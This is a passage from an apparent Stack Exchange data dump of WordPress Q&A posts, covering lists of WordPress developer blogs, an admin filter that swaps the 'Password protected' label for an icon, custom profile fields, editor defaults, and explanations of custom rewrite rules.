rel=&quot;nofollow&quot;&gt;Demitrious Kelly&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.isaackeyet.com&quot; alt=&quot;Isaac Keyet&quot;&gt; &lt;a href=&quot;http://www.isaackeyet.com/blog/&quot; rel=&quot;nofollow&quot;&gt;Isaac Keyet&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.numenity.org&quot; alt=&quot;Paul Kim&quot;&gt; &lt;a href=&quot;http://blog.numenity.org/&quot; rel=&quot;nofollow&quot;&gt;Paul Kim&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=dentedreality.com.au&quot; alt=&quot;Beau Lebens&quot;&gt; &lt;a href=&quot;http://dentedreality.com.au/&quot; rel=&quot;nofollow&quot;&gt;Beau Lebens&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.polldaddy.com&quot; alt=&quot;David Lenehan&quot;&gt; &lt;a href=&quot;http://blog.polldaddy.com/&quot; rel=&quot;nofollow&quot;&gt;David Lenehan&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ryanmarkel.com&quot; alt=&quot;Ryan Markel&quot;&gt; &lt;a href=&quot;http://ryanmarkel.com/&quot; rel=&quot;nofollow&quot;&gt;Ryan Markel&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.detlog.org&quot; alt=&quot;Naoko McCracken&quot;&gt; &lt;a href=&quot;http://blog.detlog.org/&quot; rel=&quot;nofollow&quot;&gt;Naoko McCracken&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=nickmomrik.com&quot; alt=&quot;Nick Momrik&quot;&gt; &lt;a href=&quot;http://nickmomrik.com/&quot; rel=&quot;nofollow&quot;&gt;Nick Momrik&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.afterthedeadline.com&quot; alt=&quot;Raphael Mudge&quot;&gt; &lt;a href=&quot;http://blog.afterthedeadline.com/&quot; rel=&quot;nofollow&quot;&gt;Raphael Mudge&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.webzappr.com&quot; alt=&quot;Thorsten Ott&quot;&gt; &lt;a href=&quot;http://blog.webzappr.com/&quot; rel=&quot;nofollow&quot;&gt;Thorsten Ott&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=apeatling.wordpress.com&quot; alt=&quot;Andy Pealing&quot;&gt; &lt;a href=&quot;http://apeatling.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Andy Pealing&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=michaelpick.wordpress.com&quot; alt=&quot;Michael Pick&quot;&gt; &lt;a href=&quot;http://michaelpick.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Michael Pick&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=romanticrobot.net&quot; alt=&quot;Mark Riley&quot;&gt; &lt;a href=&quot;http://romanticrobot.net/&quot; rel=&quot;nofollow&quot;&gt;Mark Riley&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=hanni.me&quot; alt=&quot;Hanni Ross&quot;&gt; &lt;a href=&quot;http://hanni.me/&quot; rel=&quot;nofollow&quot;&gt;Hanni Ross&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.whenihavetime.com&quot; alt=&quot;Sara Rosso&quot;&gt; &lt;a href=&quot;http://www.whenihavetime.com/&quot; rel=&quot;nofollow&quot;&gt;Sara Rosso&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=danroundhill.com&quot; alt=&quot;Dan RoundHill&quot;&gt; &lt;a href=&quot;http://danroundhill.com/&quot; rel=&quot;nofollow&quot;&gt;Dan RoundHill&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=toni.org&quot; alt=&quot;Toni Schneider&quot;&gt; &lt;a href=&quot;http://toni.org/&quot; rel=&quot;nofollow&quot;&gt;Toni Schneider&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=josephscott.org&quot; alt=&quot;Joseph Scott&quot;&gt; &lt;a href=&quot;http://josephscott.org/&quot; rel=&quot;nofollow&quot;&gt;Joseph Scott&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=thresholdstate.com&quot; alt=&quot;Alex Shiels&quot;&gt; &lt;a href=&quot;http://thresholdstate.com/threshold/&quot; rel=&quot;nofollow&quot;&gt;Alex Shiels&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=andy.wordpress.com&quot; alt=&quot;Andy Skelton&quot;&gt; &lt;a href=&quot;http://andy.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Andy Skelton&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=themeshaper.com&quot; alt=&quot;Ian Stewart&quot;&gt; &lt;a href=&quot;http://themeshaper.com/&quot; rel=&quot;nofollow&quot;&gt;Ian Stewart&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=burningcubicle.com&quot; alt=&quot;Hew Sutton&quot;&gt; &lt;a href=&quot;http://burningcubicle.com/&quot; rel=&quot;nofollow&quot;&gt;Hew Sutton&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=noshe.wordpress.com&quot; alt=&quot;Noriyko Tate&quot;&gt; &lt;a href=&quot;http://noshe.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Noriyko Tate&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=iammattthomas.com&quot; alt=&quot;Matt Thomas&quot;&gt; &lt;a href=&quot;http://iammattthomas.com/&quot; rel=&quot;nofollow&quot;&gt;Matt Thomas&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=editor.wordpress.com&quot; alt=&quot;Joy Victory&quot;&gt; &lt;a href=&quot;http://editor.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Joy Victory&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=jane.wordpress.com&quot; alt=&quot;Jane Welss&quot;&gt; &lt;a href=&quot;http://jane.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Jane Welss&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=simpledream.net&quot; alt=&quot;Lance Willet&quot;&gt; &lt;a href=&quot;http://simpledream.net/&quot; rel=&quot;nofollow&quot;&gt;Lance Willet&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reference&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=phpxref.ftwr.co.uk&quot; alt=&quot;PHPXref&quot;&gt; &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?_functions/index.html&quot; rel=&quot;nofollow&quot;&gt;PHPXref&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.tig12.net&quot; alt=&quot;WordPress  API doc&quot;&gt; &lt;a href=&quot;http://www.tig12.net/downloads/apidocs/wp3/overview.html&quot; rel=&quot;nofollow&quot;&gt;WordPress  API doc&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-13T14:57:10.673" LastActivityDate="2011-03-13T14:57:10.673" CommunityOwnedDate="2010-11-17T04:17:32.183" Title="The Essential WordPress Websites / Weblogs?" Tags="&lt;links&gt;&lt;wiki&gt;&lt;reference&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="7" />
  <row Id="4122" PostTypeId="2" ParentId="4121" CreationDate="2010-11-16T00:52:26.533" Score="5" ViewCount="" Body="&lt;p&gt;Blogs of a few core committers and regular core contributors you've missed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://andrewnacin.com&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com&lt;/a&gt; (andrew nacin, committer)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dd32.id.au&quot; rel=&quot;nofollow&quot;&gt;http://dd32.id.au&lt;/a&gt; (dd32, committer)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net&lt;/a&gt; (scribu, committer)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://austinmatzko.com&quot; rel=&quot;nofollow&quot;&gt;http://austinmatzko.com&lt;/a&gt; (filosofo)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hakre.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://hakre.wordpress.com&lt;/a&gt; (hakre)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.miqrogroove.com&quot; rel=&quot;nofollow&quot;&gt;http://www.miqrogroove.com&lt;/a&gt; (miqrogroove)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.semiologic.com&quot; rel=&quot;nofollow&quot;&gt;http://www.semiologic.com&lt;/a&gt; (myself, though I arguably don't blog much)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many more names here (cursory googling will reveal their blogs in most cases):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://andrewnacin.com/2010/04/30/visualizing-the-wordpress-3-0-contributors/&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com/2010/04/30/visualizing-the-wordpress-3-0-contributors/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and the most reputable users from this site are probably good to add as well.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-11-16T01:22:03.483" LastActivityDate="2010-11-16T01:22:03.483" CommentCount="4" />
  <row Id="4123" PostTypeId="1" AcceptedAnswerId="4129" CreationDate="2010-11-16T02:37:36.877" Score="0" ViewCount="160" Body="&lt;p&gt;In Wordpress, whenever a post is password protected the backend admin area appends the text in bold &quot;- Password protected&quot; after the post title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a way to remove this text and instead have it utilize an icon (link below) which should be appended before the title text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use an Icon from the &lt;a href=&quot;http://dryicons.com/free-icons/preview/aesthetica-version-2/&quot; rel=&quot;nofollow&quot;&gt;Aesthetica Icon Set&lt;/a&gt; by &lt;a href=&quot;http://dryicons.com&quot; rel=&quot;nofollow&quot;&gt;http://dryicons.com&lt;/a&gt;: &lt;img src=&quot;http://i.stack.imgur.com/aIDa6.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T02:49:37.733" LastActivityDate="2010-11-16T16:23:34.490" Title="How to replace &quot;Password Protected&quot; text with icon in Admin" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;posts&gt;&lt;list&gt;&lt;password&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4124" PostTypeId="2" ParentId="4121" CreationDate="2010-11-16T03:33:07.960" Score="3" ViewCount="" Body="&lt;p&gt;A couple more to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/&quot; rel=&quot;nofollow&quot;&gt;Otto on Wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.viper007bond.com/&quot; rel=&quot;nofollow&quot;&gt;viper007bond.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-11-16T03:33:07.960" CommentCount="1" />
  <row Id="4125" PostTypeId="2" ParentId="1567" CreationDate="2010-11-16T04:51:32.290" Score="11" ViewCount="" Body="&lt;h2&gt;Add Custom User Profile Fields&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Place the code below into your functions.php file to add custom user profile fields. Edit or add lines as you see fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember not to remove the line: return $contactmethods; otherwise this won't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM USER PROFILE FIELDS&#xA;   function my_custom_userfields( $contactmethods ) {&#xA;&#xA;    // ADD CONTACT CUSTOM FIELDS&#xA;    $contactmethods['contact_phone_office']     = 'Office Phone';&#xA;    $contactmethods['contact_phone_mobile']     = 'Mobile Phone';&#xA;    $contactmethods['contact_office_fax']       = 'Office Fax';&#xA;&#xA;    // ADD ADDRESS CUSTOM FIELDS&#xA;    $contactmethods['address_line_1']       = 'Address Line 1';&#xA;    $contactmethods['address_line_2']       = 'Address Line 2 (optional)';&#xA;    $contactmethods['address_city']         = 'City';&#xA;    $contactmethods['address_state']        = 'State';&#xA;    $contactmethods['address_zipcode']      = 'Zipcode';&#xA;    return $contactmethods;&#xA;   }&#xA;   add_filter('user_contactmethods','my_custom_userfields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To display custom fields you can use one of the two methods listed below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_author_meta('facebook', $current_author-&amp;gt;ID)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $current_author = get_userdata(get_query_var('author')); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo esc_url($current_author-&amp;gt;contact_phone_office);?&amp;gt;&quot; title=&quot;office_phone&quot;&amp;gt; Office Phone&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:15:36.670" LastActivityDate="2011-01-26T14:15:36.670" CommunityOwnedDate="2010-11-16T04:51:32.290" />
  <row Id="4126" PostTypeId="2" ParentId="1567" CreationDate="2010-11-16T04:56:16.877" Score="4" ViewCount="" Body="&lt;h2&gt;Set Editor Defaults to WYSIWYG or HTML&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_default_editor() {&#xA;    $r = 'tinymce'; // html or tinymce&#xA;    return $r;&#xA;}&#xA;add_filter( 'wp_default_editor', 'my_default_editor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is how to remove the HTML Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;$(&quot;#edButtonHTML&quot;).remove();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&#xA;here is another way to set the default editor to HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_default_editor', create_function('', 'return &quot;html&quot;;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:28:05.157" LastActivityDate="2011-01-26T14:28:05.157" CommunityOwnedDate="2010-11-16T04:56:16.877" CommentCount="1" />
  <row Id="4127" PostTypeId="1" AcceptedAnswerId="4130" CreationDate="2010-11-16T05:31:54.210" Score="4" ViewCount="1109" Body="&lt;p&gt;I'm using the Custom Post Type UI plugin to create my custom taxonomies.  I have a portfolio that is made up of projects (custom post type) with 2 custom taxonomies of technologies and clients. The clients taxonomy has a custom rewrite slug of 'portfolio/clients/', while the technologies taxonomy has a custom rewrite slug of 'portfolio/'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rewrites:&lt;br /&gt;&#xA;portfolio/html  &amp;lt;- page displays all projects using HTML&lt;br /&gt;&#xA;portfolio/clients/client-a &amp;lt;- page displays all projects for client A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to make a landing page for clients that has a url slug of '/portfolio/clients', I get the 404 page.  I'm pretty sure this is because of conflicting url rewrites of the technologies taxonomy.  I'm guessing as it searches for it in the technology taxonomy, it doesn't exist then it spits out the 404 page.  So how do I get the url rewrite slug to work so that when I hit '/portfolio/clients', it doesn't send back the 404 page and it uses the correct page template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-11-16T07:49:53.407" Title="custom taxonomy and pages rewrite slug conflict gives 404" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;slug&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4128" PostTypeId="2" ParentId="4103" CreationDate="2010-11-16T06:34:26.953" Score="1" ViewCount="" Body="&lt;p&gt;I've used plugin like that while back, but I totally can't remember its name and it was not repository-hosted (made to integrate with some third party security tool). Can't find it. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From repository this one seems fitting:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/audit-trail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/audit-trail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-16T06:34:26.953" CommentCount="1" />
  <row Id="4129" PostTypeId="2" ParentId="4123" CreationDate="2010-11-16T06:48:22.750" Score="4" ViewCount="" Body="&lt;p&gt;Try this (don't forget to replace icon URL):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'display_post_states', 'password_protected_icon' );&#xA;&#xA;function password_protected_icon( $post_states ) {&#xA;&#xA;    $text = __('Password protected');&#xA;    $pos = array_search( $text, $post_states);&#xA;    if( false !== $pos )&#xA;        $post_states[$pos] = '&amp;lt;img src=&quot;http://i.stack.imgur.com/aIDa6.png&quot; title=&quot;'.htmlspecialchars($text).'&quot;/&amp;gt;';&#xA;&#xA;    return $post_states;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T11:19:12.943" LastActivityDate="2010-11-16T11:19:12.943" CommentCount="6" />
  <row Id="4130" PostTypeId="2" ParentId="4127" CreationDate="2010-11-16T07:49:53.407" Score="4" ViewCount="" Body="&lt;p&gt;You seem to need &quot;partial verbose rewrite rules&quot;. Verbose rewrite rules means all the pages are put on top because WordPress can't figure out the difference between a page and a post. Here it thinks it can, because all URLs of the form &lt;code&gt;portfolio/([^/]+)/&lt;/code&gt; are from your &lt;code&gt;portfolio&lt;/code&gt; taxonomy, except this one &lt;code&gt;portfolio/clients/&lt;/code&gt;. You will have to put that one on top of the rewrite rules, so it matches before the more generic portfolio taxonomy. You could probably also force all of the rewrite rules to be verbose, but that will impact the performance if you have lots of pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer is written with my just-gained understanding of rewrite rules, so I hope it is a good way to do it and the example code doesn't contain too many errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A page does not generate just one rewrite rule, it generates a group:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)/trackback/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)/feed/(feed|rdf|rss|rss2|atom)/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)/(feed|rdf|rss|rss2|atom)/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)/page/?([0-9]{1,})/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)/comment-page-([0-9]{1,})/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(pagename)(/[0-9]+)?/?$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You don't have to create these yourself, you can re-use the power of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Rewrite&lt;/code&gt;&lt;/a&gt;. Look at its &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/rewrite.php#L852&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;page_rewrite_rules()&lt;/code&gt;&lt;/a&gt; method: if we are in verbose mode, it gets a list of all pages (via &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/rewrite.php#L806&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;page_uri_index()&lt;/code&gt;&lt;/a&gt;) and their attachments, overwrites the &lt;code&gt;%pagename%&lt;/code&gt; rewrite tag, and generates the rewrite rules for this page. We can do this too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We only generate them for this page&#xA;$page_uri = 'portfolio/clients';&#xA;// Returns site root + '%pagename%'&#xA;$page_structure = $wp_rewrite-&amp;gt;get_page_permastruct();&#xA;// Everywhere you see %pagename% in the structure used to generate rules&#xA;// in the next step, replace it with our fixed page name&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag('%pagename%', &quot;({$page_uri})&quot;, 'pagename=');&#xA;// This generates the group given above&#xA;$page_rewrite_rules = $wp_rewrite-&amp;gt;generate_rewrite_rules($page_structure, EP_PAGES);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give us the rules for the pages, but not yet for attachments used in the page. If you also want them, you repeat the step for each attachment, but with &lt;code&gt;add_rewrite_tag('%pagename%', &quot;({$attachment_uri})&quot;, 'attachment=')&lt;/code&gt; (see &lt;code&gt;page_rewrite_rules()&lt;/code&gt; for more details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good, we got the rules, but now you need to add them to the complete rewrite structure in some way. You could do this with &lt;code&gt;add_rewrite_rule()&lt;/code&gt;, but you must call it for every rule generated in the &lt;code&gt;$page_rewrite_rules&lt;/code&gt; array. For this reason, many people hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/rewrite.php#L1638&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;rewrite_rules_array&lt;/code&gt; filter&lt;/a&gt;, since you can just modify the array there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array', 'add_verbose_portfolio_clients_page');&#xA;function add_verbose_portfolio_clients_page($rewrite_rules)&#xA;{&#xA;    global $wp_rewrite;&#xA;&#xA;    // The previous code snippet comes here, where we generate $page_rewrite_rules&#xA;&#xA;    // Our rules have priority, they should be on top&#xA;    $rewrite_rules = array_merge($page_rewrite_rules, $rewrite_rules);&#xA;&#xA;    return $rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you included this filter, you should flush the rewrite rules (once, not one every page load, as it is quite heavy). You can do this by calling &lt;code&gt;flush_rewrite_rules()&lt;/code&gt;, or by visiting the &quot;Permalinks&quot; settings page.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-16T07:49:53.407" CommentCount="1" />
  <row Id="4131" PostTypeId="2" ParentId="4085" CreationDate="2010-11-16T10:53:53.570" Score="3" ViewCount="" Body="&lt;p&gt;Modifying the URL structure always consists of two parts: one two modify the URLs you generate with your code, and one to handle the incoming URLs of the new structure. I will focus on the second, and maybe least understood, part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incoming URLs are matched to different &lt;em&gt;rewrite rules&lt;/em&gt;, which are regular expressions that can match the URL. These expressions can have &lt;em&gt;capture groups&lt;/em&gt; which capture a part of the URL to send it to different query variables, which are (for example) used to construct the database query. If you create a custom post type &lt;code&gt;slideshow&lt;/code&gt;, one of the rewrite rules will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;slideshow/([^/]+)(/[0-9]+)?/?$&#xA; =&gt; index.php?slideshow=$matches[1]&amp;page=$matches[2]&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means we match a URL that starts with &lt;code&gt;slideshow/&lt;/code&gt;, then anything up that is not &lt;code&gt;/&lt;/code&gt;, and optionally (the &lt;code&gt;?&lt;/code&gt;) a &lt;code&gt;/&lt;/code&gt; and any number of digits. The first match is sent to the &lt;code&gt;slideshow&lt;/code&gt; query variable, the second match to the &lt;code&gt;page&lt;/code&gt; variable. For example, &lt;code&gt;slideshow/nature/2&lt;/code&gt; will set &lt;code&gt;slideshow&lt;/code&gt; to &lt;code&gt;nature&lt;/code&gt; and &lt;code&gt;page&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;. I wrote &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;a plugin that might be helpful in understanding and debugging your current rules&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would like to match a structure like &lt;code&gt;slideshow/nature/slide-2-canyon/&lt;/code&gt;. The regex for this looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;slideshow/                                        // Start with 'slideshow/'&#xA;          ([^/]+)                                 // Then anything that is not '/'&#xA;                 (/slide-                         // Then 'slide-'&#xA;                         ([0-9]+)                 // A page number&#xA;                                 (-([^/]+))?      // Slide title: '-' and anything that is not '/'. Optional so you don't have to add it&#xA;                                            )?/?$ // Which could be followed by a '/'&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We want to capture the slideshow name and the page number. You count the opening '(' to get the match indexes, so our full rewrite rule looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;slideshow/([^/]+)(/slide-([0-9]+)(-([^/]+))?)?/?$&#xA; =&gt; index.php?slideshow=$matches[1]&amp;page=$matches[3]&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we just need to add this to the rewrite rules. Make sure you put it at the top, as a similar rule is used to match for attachments of a post, and your custom rule would never be hit if it is at the bottom of the list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    'slideshow/([^/]+)(/slide-([0-9]+)(-([^/]+))?)?/?$',&#xA;    'index.php?slideshow=$matches[1]&amp;amp;page=$matches[3]',&#xA;    'top'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is enough to only call this line once, and then &lt;code&gt;flush_rewrite_rules()&lt;/code&gt;. Or, if you don't want to mess with plugin activation hooks, call the &lt;code&gt;add_rewrite_rule()&lt;/code&gt; on every &lt;code&gt;init&lt;/code&gt;, but then load the &quot;Permalink&quot; settings page to flush the rules. As long as you don't flush the rules on every page load, because it is an expensive calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing left for you is generating page links of the new format. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post-template.php#L567&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_link_pages()&lt;/code&gt;&lt;/a&gt; seems to offer no filters to modify its output, so I would study how it works and duplicate it with your page format (it's not hard, and you only need half of the function if you choose only one output format).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-16T10:53:53.570" CommentCount="2" />
